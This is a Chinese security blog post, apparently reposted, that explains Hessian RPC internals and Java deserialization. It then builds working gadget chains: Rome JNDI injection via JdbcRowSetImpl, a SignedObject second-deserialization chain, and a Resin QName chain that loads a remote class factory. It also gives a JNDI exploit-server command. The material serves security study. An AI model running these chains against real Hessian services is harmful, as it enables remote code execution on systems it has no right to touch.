0


Javaweb安全——Hessian 反序列化

Hessian 反序列化

Hessian基础

Hessian类似于RMI也是一种 RPC(Remote Produce Call)的实现。基于HTTP协议,使用二进制消息进行客户端和服务器端交互。

Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。

基础使用

Hessian源码分析--总体架构_Hessian

pom.xml添加依赖,项目结构那再添加依赖到lib

<dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.66</version></dependency>

image-20230125184142403

通过把提供服务的类注册成 Servlet 的方式来作为 Server 端进行交互。

  • 定义一个远程接口的接口。
publicinterfaceService{StringgetTime();}
  • 定义一个实现该接口的类,并使用注解配置Servlet(也可通过web.xml配置)
importcom.caucho.hessian.server.HessianServlet;importjavax.servlet.annotation.WebServlet;importjava.time.LocalDateTime;importjava.time.format.DateTimeFormatter;@WebServlet(name ="hessian", value ="/hessian")publicclassServiceImplextendsHessianServletimplementsService{@OverridepublicStringgetTime(){return"当前时间为:"+LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));}}

客户端:

importcom.caucho.hessian.client.HessianProxyFactory;importjava.net.MalformedURLException;publicclassClient{publicstaticvoidmain(String[] args)throwsMalformedURLException{String url="http://localhost:8081/hessian";HessianProxyFactory factory=newHessianProxyFactory();Service service=(Service) factory.create(Service.class, url);System.out.println(service.getTime());}}

image-20230125184214472

远程调用过程

Client
HessianProxy

是Client端的核心类,用来代理客户端对远程接口的调用。既然是动态代理就主要关注其invoke方法的逻辑。

image-20230126023609071

在方法调用处下断点,进入

com.caucho.hessian.client.HessianProxy#invoke

方法。

  • 获取方法名和参数类型,以及对于equals和hashCode特殊处理。

  • 获取输入流,调用sendRequest函数向server发送请求,包括函数名及函数的参数得到连接对象- com.caucho.hessian.client.HessianProxy#sendRequest函数中,在得到连接后用out.call调用远程方法
  • 从连接中得到返回的结果,返回的二进制值存在is中

image-20230126034002675

  • 对返回值进行处理,根据code值选择对应的版本进行读取

image-20230126034024045

Server
HessianSkeleton

是Server端的核心类,从输入流中反序列化出Client端调用的方法和参数,对Server端服务进行调用并返回结果。

image-20230126015654534

直接在被调用的方法处打断点开始调试,从

com.caucho.hessian.server.HessianServlet

开始看。

image-20230125184532383

com.caucho.hessian.server.HessianServlet#service

是相关处理的起始位置。

  • Hessian仅支持POST,不符则返回500状态码
  • 会获取请求中的id或者ejbid参数(可以导致调用不同的实体 Beans)作为objectId
  • 最后返回ContentType为x-application/hessian的响应

image-20230125184840775

com.caucho.hessian.server.HessianServlet#invoke

根据 objectID 是否为空进行调用,

image-20230125205312495

接着进入

com.caucho.hessian.server.HessianSkeleton#invoke(java.io.InputStream, java.io.OutputStream, com.caucho.hessian.io.SerializerFactory)

方法。

Hessian源码分析–HessianSkeleton

HessianSkeleton是Hessian的服务端的核心,简单总结来说:HessianSkeleton根据客户端请求的链接,获取到需要执行的接口及实现类,对客户端发送过来的二进制数据进行反序列化,获得需要执行的函数及参数值,然后根据函数和参数值执行具体的函数,接下来对执行的结果进行序列化然后通过连接返回给客户端。

  • 读取协议头
  • 根据协议头使用对应的输入输出流(适应hessian/hessian2混用)
  • 输入输出流设置序列化工厂类

image-20230126004213371

image-20230126004131154

接着调用

com.caucho.hessian.server.HessianSkeleton#invoke(java.lang.Object, com.caucho.hessian.io.AbstractHessianInput, com.caucho.hessian.io.AbstractHessianOutput)

方法进一步处理。

  • 获取调用方法名和参数长度,再根据此信息得到该方法
  • else if ("_hessian_getAttribute...那应该是匹配xml配置servlet的写法

image-20230126004046797

  • 获取方法参数类型
  • 根据参数类型反序列化得到参数值
  • 再根据service反射调用对应实例的方法

image-20230126003942565

序列化与反序列化

序列化相关类的主体结构如下:

image-20230126034734323

详细流程图可以参考:Hession反序列化流程

Hessian 定义了

AbstractHessianInput/AbstractHessianOutput 

两个抽象类,用来提供序列化数据的读取和写入功能。

默认情况下,客户端使用 Hessian 1.0 协议格式发送序列化数据,服务端使用 Hessian 2.0 协议格式返回序列化数据。

序列化

同样,在上面过程中也可以发现,在子类

com.caucho.hessian.io.Hessian2Output

的具体实现中,提供了

call

相关方法执行方法调用,

writeXXX

方法进行序列化数据的写入。

为了方便下面的调试可以修改一下上面的客户端服务端,增加一个实体类,将返回类型设置为该类。

如server端写入返回结果的时候,先调用writeReply方法再调用writeObject进行对象写入

image-20230126231710263

image-20230126231651024

com.caucho.hessian.io.Hessian2Output#writeObject

根据指定的类型获取序列化器

Serializer

的实现类,并调用其

writeObject

方法序列化数据。

image-20230126233050876

这里返回的是自定义的Time类,但对于自定义类型,将会使用

JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer

进行相关的序列化动作,默认情况下是

UnsafeSerializer

UnsafeSerializer#writeObject

会调用对应协议版本的

writeObjectBegin

方法。

主要逻辑为先获取Class的引用次数,如果Class已经引用过了则不需要重新解析,直接写入对象即可;

如果Class没有引用过则先写入类的定义,包括属性的个数和依次写入所有属性的名称。然后在写入类的名称,最后再执行writeInstance方法写入实例对象。

image-20230126234857353

返回值的定义在各版本中有所不同

  • Hessian 2 中会写入自定义类型。进入else if 将会调用 writeDefinition20Hessian2Output#writeObjectBegin 方法写入自定义数据

image-20230126233650415

  • Hessian 1 中没有重写该方法将自定义类型标记为 Map 类型。进入最后的else

image-20230126234019680

反序列化

看到

com.caucho.hessian.client.HessianProxy#invoke

客户端读取返回结果的部分

image-20230126235700909

对应协议版本的

readReply

会根据返回的预期类型进行读取

  • Hessian 2

image-20230126235820424

进入

Hessian2Input#readObject(java.lang.Class)

方法。主体是

switch case 

语句,在读取标识位后根据不同的数据类型调用相关的处理逻辑。

比如触发漏洞中常见的HashMap或者Map,在得到其反序列化器之后调用其readMap方法。

image-20230203222548330

Hessian2Input#readObject()

中也是类似逻辑,

image-20230203223957322

com.caucho.hessian.io.SerializerFactory#readMap

中也是获取对应的反序列化器,然后再调用其readMap方法。

image-20230203223602467

当然在这个Demo中是进入

case 'C'

加载自定义类型

image-20230203222640558

readObjectDefinition

函数获取类定义,包括属性的个数和依次写入所有属性的名称。然后return处一个回调,进入另一个case语句。

com.caucho.hessian.io.Hessian2Input#readObjectInstance

会去实例化类。

image-20230127000510605

instantiate

使用 unsafe 实例的

allocateInstance

直接创建类实例

image-20230127000953799

image-20230127000805623

  • Hessian 1
com.caucho.hessian.io.HessianInput#readObject(java.lang.Class)

没有针对 Object 的读取,而是都将其作为 Map 读取。

image-20230127002506995

上面提到Hessian 1序列化在写入自定义类型时会将其标记为 Map 类型,所以查看

com.caucho.hessian.io.MapDeserializer#readMap

方法,会根据类型创建不同的map,然后序列化读取。

image-20230127002821386

读取map键值的反序列化读取调用的是

com.caucho.hessian.io.HessianInput#readObject()

方法,然后再根据类型调用不同的deserializer

image-20230202012834358

image-20230202012921695

最后通过

map.put

设置键值对,这也是hessian反序列化漏洞成因。

Serializable

Hessian序列化不关注serialVersionUID,hessian序列化时把类的描述信息写入到byte[]中。且不允许任意代理,并且不支持自定义的集合比较器。

Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。

  • 序列化- 需要实现 java.io.Serializable 接口(默认)- 任意类序列化(_isAllowNonSerializable=true
  • 反序列化- 任意类序列化(判断在序列化过程中进行)

image-20230202015228560

image-20230202015308617

HessianOutput output =newHessianOutput(bao);//序列化没有实现java.io.Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);

漏洞和利用链

Hessian各种反序列化链中和Map相关的触发都与put 键值对有关:

  • HashMap:- 处理如何连接链表时hash方法进行计算是否有相同的key,会调用 key 的 hashCode 方法。HashMap.readObject() -> HashMap.hash() -> XXX.hashCode() - 生成链表时会调用 key 的 equals 方法进行比较HashMap.readObject() -> HashMap.putVal() -> XXX.equals()(jdk7u21中用到过)
  • TreeMap:- 排序时通过 compare 方法进行比较,会调用 key 的 compareTo 方法。

所以在Hessian的反序列化利用链中,起始方法只能为

hashCode/equals/compareTo 

方法。

marshalsec集成了

Hessian

反序列化的

gadget

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringPartiallyComparableAdvisorHolder

Rome

hashCode触发

JdbcRowSetImpl

Gadget的原理前面写过(反序列化漏洞-Rome),核心是

ToStringBean#toString()

会调用其封装类的所有无参 getter方法,可以借助

JdbcRowSetImpl#getDatabaseMetaData()

方法触发 JNDI 注入。

image-20230201173247588

触发调用是通过HashMap在 put 键值对会调用

HashMap<K,V>.hash(Object)

方法校验重复key,从而调用

ObjectBean.hashCode()

依赖换成了和marshalsec一样的rometools,JDK版本为8u111(方便打JNDI)

<dependency><groupId>com.rometools</groupId><artifactId>rome</artifactId><version>1.7.0</version></dependency>

要修改下ObjectBean类属性名

JdbcRowSetImpl jdbcRowSet =newJdbcRowSetImpl();String url ="ldap://127.0.0.1:1389/2hig5s";
jdbcRowSet.setDataSourceName(url);ToStringBean toStringBean =newToStringBean(JdbcRowSetImpl.class,jdbcRowSet);EqualsBean equalsBean =newEqualsBean(ToStringBean.class,toStringBean);ObjectBean extObjectBean =newObjectBean(String.class,"test");Map expMap =newHashMap();
expMap.put(extObjectBean,"test");SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);deserialize(serialize(expMap));

工具类方法如下:

publicstatic<T>byte[]serialize(T o)throwsIOException{ByteArrayOutputStream bao =newByteArrayOutputStream();HessianOutput output =newHessianOutput(bao);
    output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();}publicstatic<T>Tdeserialize(byte[] bytes)throwsIOException{ByteArrayInputStream bai =newByteArrayInputStream(bytes);HessianInput input =newHessianInput(bai);Object o = input.readObject();return(T) o;}publicstaticvoidsetFieldValue(Object obj,String name,Object value)throwsException{Field field = obj.getClass().getDeclaredField(name);
    field.setAccessible(true);
    field.set(obj, value);}

利用工具起一个JNDI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1

image-20230201172957101

二次反序列化
java.security.SignedObject

的getter方法存在二次反序列化

image-20230201231924098

这里二次序列化用的是HashMap#readObject()方法去再次触发Rome链。

publicclassHessianRome2{publicstaticvoidmain(String[] args)throwsException{HashMapTI_Map=makeMap(Templates.class,generateTemplatesImpl());//生成私钥KeyPairGenerator keyPairGenerator =KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();//生成签名对象Signature signingEngine =Signature.getInstance("DSA");;SignedObject so =newSignedObject(TI_Map, privateKey, signingEngine);Map expMap =makeMap(SignedObject.class,so);deserialize(serialize(expMap));}publicstaticHashMapmakeMap(Class expectedClass,Object o)throwsException{ToStringBean toStringBean =newToStringBean(expectedClass, o);EqualsBean equalsBean =newEqualsBean(ToStringBean.class, toStringBean);ObjectBean extObjectBean =newObjectBean(String.class,"test");HashMap expMap =newHashMap();
        expMap.put(extObjectBean,"test");SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);return expMap;}}

这里有点疑问,为什么不直接用Rome反序列化链。尝试无果,调试可见在

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

获取类加载器的时候空指针报错,原因是

TemplatesImpl#_tfactory

属性为null。

image-20230202003403104

正常情况是这样的

image-20230202004350693

这是因为

_tfactory

是一个transient修饰的属性,不会被反序列化。而在原生反序列化时,该属性是在

TemplatesImpl#readObject

中重新设置进去的。

image-20230202004946925

在hessian反序列化中读取属性时可以发现压根就没写入这个属性

image-20230202014533184

在hessian序列化时,由

UnsafeSerializer#introspect

方法来获取对象中的字段,在老版本中应该是

getFieldMap

方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。

image-20230202015021051

https://su18.org/post/hessian/#serializable

在原生流程中,标识为 transient 仅代表不希望 Java 序列化反序列化这个对象,开发人员可以在

writeObject/readObject

中使用自己的逻辑写入和恢复对象,但是 Hessian 中没有这种机制,因此标识为 transient 的字段在反序列化中一定没有值的。

Resin

equals触发

添加依赖如下:

<!-- contains QName --><dependency><groupId>com.caucho</groupId><artifactId>quercus</artifactId><version>4.0.45</version></dependency>

调用链

XString#equals
  QName#toString
    ContinuationContext#composeName(java.lang.String, java.lang.String)
      ContinuationContext#getTargetContext
        NamingManager#getContext
            NamingManager#getObjectInstance 
               NamingManager#getObjectFactoryFromReference
NamingManager#getObjectInstance

那就很明显了,其实就是加载远程的

ObjectFactory

。前面使用HashMap在比较中调用key.equals方法,即

com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)

来触发。

image-20230203001802835

在putVal的时候,hash一样所以进入后面的

key.equals(k)

;传进去的k就是QName对象,然后再调用其toString方法。

image-20230203022809380

com.caucho.naming.QName#toString

image-20230203001407021

javax.naming.spi.ContinuationContext#composeName(java.lang.String, java.lang.String)

image-20230203001323353

javax.naming.spi.ContinuationContext#getTargetContext

image-20230203000956771

javax.naming.spi.NamingManager#getContext

image-20230203000930486

简单实现一下,弹个计算器

// 定义一个远程的class 包含一个恶意攻击的对象的工厂类String codebase ="http://127.0.0.1:8180/";// 对象的工厂类名String classFactory ="ExecTemplateJDK8";//实例化一个CannotProceedException对象,并设置远程对象CannotProceedException cpe =newCannotProceedException();
        cpe.setResolvedObj(newReference("Foo", classFactory, codebase));//通过反射实例化ContinuationDirContext类Class<?> ccCl =Class.forName("javax.naming.spi.ContinuationContext");Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class,Hashtable.class);
        ccCons.setAccessible(true);Context ctx =(Context) ccCons.newInstance(cpe,newHashtable<>());QName qName =newQName(ctx,"foo","bar");//根据qName计算hash碰撞值String unhash =unhash(qName.hashCode());XString xString =newXString(unhash);//xString在存入时hash值和前面的qName一样,就会调用key.equals进行判断 触发调用HashMap expMap =newHashMap();
        expMap.put(qName,"test");
        expMap.put(xString,"test");ByteArrayOutputStream bao =newByteArrayOutputStream();HessianOutput output =newHessianOutput(bao);//序列化没有实现java.io.Serializable接口的类
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(expMap);deserialize(bao.toByteArray());

hash碰撞的函数如下,搁老外这抄的https://bchetty.com/blog/hashcode-of-string-in-java:

privatestaticStringunhash(int hash){int target = hash;StringBuilder answer =newStringBuilder();if( target <0){// String with hash of Integer.MIN_VALUE, 0x80000000
        answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if( target ==Integer.MIN_VALUE)return answer.toString();// Find target without sign bit set
        target = target &Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();}privatestaticvoid unhash0 (StringBuilder partial,int target ){int div = target /31;int rem = target %31;if( div <=Character.MAX_VALUE){if( div !=0)
            partial.append((char) div);
        partial.append((char) rem);}else{unhash0(partial, div);
        partial.append((char) rem);}}

还是用的JNDI-Injection-Exploit的http服务来加载恶意.class文件

image-20230203023201307

参考

Hessian源码分析–总体架构

Hessian 反序列化知一二

hessian实现(客户端服务端在同一个项目中)

marshalsec.pdf 中文翻译 Java Unmarshaller Security (将您的数据转化为代码执行)

标签: java web安全 ctf

本文转载自: https://blog.csdn.net/weixin_43610673/article/details/128877353
版权归原作者 Arnoldqqq 所有, 如有侵权,请联系我们删除。

“Javaweb安全——Hessian 反序列化”的评论:

还没有评论